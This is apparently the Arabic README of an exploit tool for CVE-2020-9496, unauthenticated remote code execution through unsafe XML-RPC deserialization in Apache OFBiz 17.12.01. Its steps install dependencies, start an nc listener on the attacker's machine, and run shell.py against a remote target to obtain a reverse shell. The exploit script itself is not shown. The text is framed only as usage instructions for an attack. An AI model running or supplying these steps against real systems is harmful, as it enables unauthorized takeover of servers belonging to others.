CVE-2020-9496

ApacheOfBiz 17.12.01 - تنفيذ كود عن بعد غير مصرح به

طلبات XML-RPC معرضة لإلغاء التسلسل غير الآمن.

الخطوات

الخطوة 1:

pip3 install -r requeriments.txt

الخطوة 2:

nc -nlvp <port> # جهاز المهاجم

الخطوة 3:

python3 shell.py -i <remote IP> -p <remote port> -li <local IP> -lp <local port>

الخطوة 4:

يجب أن تحصل على شل في مستمع nc الخاص بك